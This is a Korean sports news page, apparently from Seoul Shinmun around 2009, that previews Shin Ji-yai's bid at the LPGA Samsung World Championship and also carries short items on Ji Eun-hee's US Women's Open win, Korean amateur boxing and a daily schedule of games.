    ‘골프 지존’ 신지애(21·미래에셋)가 20명만 출전하는 미여자프로골프(LPGA) 투어 삼성월드챔피언십에서 ‘여제’ 등극을 벼른다. 17일 밤 미국 캘리포니아주 샌디에이고의 토리파인스 남코스(파72·6721야드)에서 개막하는 삼성월드챔피언십은 전년도 LPGA 투어 상금왕과 디펜딩 챔피언, 그 해 메이저대회 우승자 등 상위랭커 20명만이 초청장을 받는 특급대회다. 총상금 100만달러에 우승상금은 25만달러. 컷 탈락 없이 나흘 동안 열전을 펼친다. 대회에 나서는 한국선수는 신지애를 포함해 올해 US여자오픈 우승자 지은희(23·휠라코리아)와 김인경(21·하나금융), 김송희(21), 최나연(22·SK텔레콤) 등 5명. 지난 14일 아칸소챔피언십에서 시즌 세 번째 우승컵을 수확한 신지애는 세계랭킹에서도 3계단이나 뛰어 2위에 올라 1위 로레나 오초아(멕시코)를 압박했다. 물론 랭킹은 지난 2년간 성적을 토대로 매겨지는 탓에 당장 1위로 뛰어오를 수는 없지만 올 시즌 LPGA 투어 상금왕과 다승왕, 최저타수상, 올해의 선수상 등 4개 부문을 휩쓸 수 있는 단초를 마련할 수 있는 절호의 기회다. LPGA 투어 신인으로 올해를 시작할 때 신인왕을 노렸던 신지애는 시즌 3승을 올리면서 목표를 훨씬 넘어섰고 “올해의 선수상을 받을 수 있는 기회를 만들었다.”고 선언했다. 지난 3개월 동안 기복이 심한 경기를 치른 신지애는 지난 7일 캐나다오픈 마지막 라운드에서 63타를 치더니 14일 아칸소챔피언십 최종 라운드에서는 64타를 쳐 7타차 역전 우승을 일궈냈다. ‘마지막 라운드의 여왕’이라는 별명을 각인시키며 주특기인 막판 몰아치기가 다시 살아나고 있는 것. 개인적인 이유 외에 대외적인 명분도 절실하다. 한국 기업이 타이틀 스폰서를 맡고 있는 대회지만 한국 선수는 1999년 박세리 이후 우승컵을 가져오지 못했다. 올 시즌 LPGA 8승을 합작, 맹위를 떨치고 있는 한국 선수들이 디펜딩 챔피언 폴라 크리머(미국), 부진 탈출을 벼르고 있는 ‘여제’ 로레나 오초아 등을 따돌리고 10년 만에 우승컵을 되찾아 올 수 있을지, 또 신지애가 그 주인공이 될지가 관심이다. 다만 처음 경기를 치르게 될 토리파인스코스가 다소 부담스럽긴 하다. 지난해 US오픈 때 타이거 우즈(미국)가 왼쪽 무릎 인대가 끊어진 상태에서 19홀 연장 승부 끝에 우승한 곳으로 더 유명하다. 삼성월드챔피언십이 여자대회인 점을 고려해 전장은 1000야드가량 줄어들었지만 좁은 페어웨이와 깊은 러프가 선수들을 괴롭힐 전망이다. 최병규기자 cbk91065@seoul.co.kr
  • AIBA, 한국복싱 세계선수권 출전 허용

    국제복싱연맹(AIBA)은 18일 대한아마추어복싱연맹에 대한 징계를 83일 만에 해제하고 새달 세계선수권대회에 한국선수단 출전을 허용한다고 밝혔다. 지난 5월 AIBA는 대한복싱연맹이 올초 국제대회에 무자격 팀닥터를 파견하고 계체량에 문제가 있었다며 국제대회 출전금지 등 중징계를 내렸었다.
  • “LPGA 한국낭자를 벤치마킹하라”

    ‘미국여자프로골프협회(LPGA)에 진출한 한국 선수들의 성공모델을 기업도 배워라.’ 삼성경제연구소는 30일 ‘LPGA를 뒤흔든 한국 낭자군의 힘’이라는 보고서에서 이같이 주장했다. 보고서는 “한국선수들의 LPGA 성공방정식을 기업의 인재육성 과정에 적극 활용해 봄 직하다.”면서 “기업도 젊은 인재의 특장점을 조기에 발굴해 적재적소에 배치할수 있는 멘토링 시스템을 가동하고, 명령이나 지시보다는 인재가 스스로 헌신할 수 있는 자율적 기업문화를 조성해야 한다.”고 지적했다. 이어 “젊은 인재들이 실패를 두려워하지 않고 마음껏 제 기량을 펼칠 수 있도록 최고경영자(CEO)를 비롯한 ‘경영진의 스폰서십(후원)’제도도 적극 검토해야 한다.”고 강조했다. 보고서는 또 “세계 금융위기로 많은 기업들이 골프 등 스포츠 후원에 주춤하고 있다.”면서 “우리 기업이 적은 비용으로 스포츠 후원 효과를 높일 수 있는 기회”라고 덧붙였다. 이민훈 연구원은 “스포츠는 이미 국가 경쟁력의 한 축이 된 만큼 국가 차원에서 유망주를 발굴 육성해야 한다.”고 말했다. 김성수기자 sskim@seoul.co.kr
  • 지은희 18번홀 6m버디… 11억원 잭팟

    지은희 18번홀 6m버디… 11억원 잭팟

    지은희(23·휠라코리아)의 별명은 ‘미키마우스’다. 그러나 이전에 그가 얻은 별명은 따로 있었다. ‘지쎄리’다. 6년 전인 2003년 5월18일 경기 용인의 88골프장. 박세리를 따라다니던 구름 관중들의 눈길은 함께 샷대결을 펼친 조그만 골퍼에게 쏠렸다. 여드름 가득하지만 눈매만큼은 야무졌던 이 여고생 골퍼는 ‘골프여왕’ 앞에서도 주눅든 기색 없이 이글까지 터뜨리며 당당히 준우승을 차지했다. “전체 타수에선 2등에 그쳤지만 3언더파나 쳤잖아요. 세리 언니는 겨우 1언더파였던 걸요.”라며 당돌한 소감을 밝힌 이후 그는 ‘지쎄리’로 불리기 시작했다. 그리고 지금 그는 박세리의 뒤를 밟고 있다. 13일 마침내 올라선 미여자프로골프(LPGA) ‘메이저퀸’의 자리가 그 증거다. 지은희가 13일 미국 펜실베이니아주 베슬레헴의 사우컨CC 올드코스(파71·6740야드)에서 벌어진 US여자오픈골프선수권대회 4라운드 18번홀에서 극적인 버디로 생애 첫 메이저 정상에 올랐다. 최종합계 이븐파 284타. 자신보다 2타 앞선 채 같은 챔피언조에서 샷대결을 벌인 크리스티 커(2오버파 286타)를 공동 3위로 밀어내고 역전우승을 일궈냈다. 지난해 웨그먼스LPGA에 이은 LPGA 투어 통산 2승째. ●사상 4번째 한국인 챔피언 캔디 쿵(타이완)마저 1타차로 제친 지은희는 박세리(1998년)와 김주연(2005년), 박인비(2008년)에 이어 한국선수로는 네 번째로 세계 최고 권위의 US여자오픈을 제패한 선수가 됐다. 한국자매들은 지은희의 우승으로 웨그먼스LPGA(신지애)와 제이미파 오언스 코닝클래식(이은정)에 이어 3주 연속 우승에 성공한 건 물론, 올 시즌 벌써 6승을 합작해 2002년 거둔 한 해 최다승(9승) 기록도 넘볼 수 있게 됐다. 또 지난해 박인비에 이어 US여자오픈을 2연패하는 쾌거를 이루며 ‘톱10’에 무려 5명의 이름을 올리는 기염을 토했다. ●“손이 덜덜 떨렸다” 파4홀인 10번홀에서 드라이버로 날린 티샷을 그린 앞 벙커에 빠뜨린 지은희는 두 번째 샷마저 다시 바로 앞 벙커에 빠뜨리며 4온2퍼트로 더블보기를 범해 우승경쟁에서 밀려나는 듯했다. 그러나 13번홀(파4)에서 두 번째 샷을 핀 50㎝ 옆에 붙여 버디를 잡아낸 뒤 이어진 14번홀에서 20m나 되는 장거리 버디 퍼트를 집어넣어 공동선두로 뛰어올랐다. 그리고 마지막 18번홀. 6m짜리 긴 버디를 성공시킨 지은희는 손을 번쩍 들어올렸다. 지은희는 그 순간 “손이 덜덜 떨렸다.”고 전했다. 연습그린에서 연장전을 준비하던 쿵은 멋쩍은 웃음을 흘리며 입맛을 다셨다. ●18번홀 버디로 10년간 출전권 확보 수천명의 갤러리가 숨을 죽인 가운데 라인을 타고 흐르던 공은 오른쪽으로 급격하게 방향을 튼 뒤 홀 속으로 사라졌다. 이 18번홀 마지막 버디 한 방의 값어치는 얼마일까. 지은희는 이 버디로 우승상금 58만 5000달러(약 7억 2000만원)를 챙겼다. 또 후원사인 휠라코리아로부터 상금의 50%인 29만 2500달러를 인센티브로 받아 합계 87만 7500달러(약 11억 5000만원)의 돈벼락을 맞게 됐다. LPGA 투어 향후 5년 동안의 풀시드는 물론, 10년간 US여자오픈 출전권도 확보했다. 최병규기자 cbk91065@seoul.co.kr
  • [오늘의 경기]

    ■프로야구 ●LG-한화(잠실) ●히어로즈-롯데(목동) ●SK-삼성(문학) ●KIA-두산(광주 이상 오후 6시30분) ■야구 대붕기 고교대회(오전 10시 대구시민운동장)■핸드볼 유스올림픽 아시아 남자예선(오후 2시 태릉선수촌 오륜관)■사격 실업단대회(오전 9시30분 전북종합사격장)■스쿼시 회장배 전한국선수권(오전 10시 대구 미광스포렉스)
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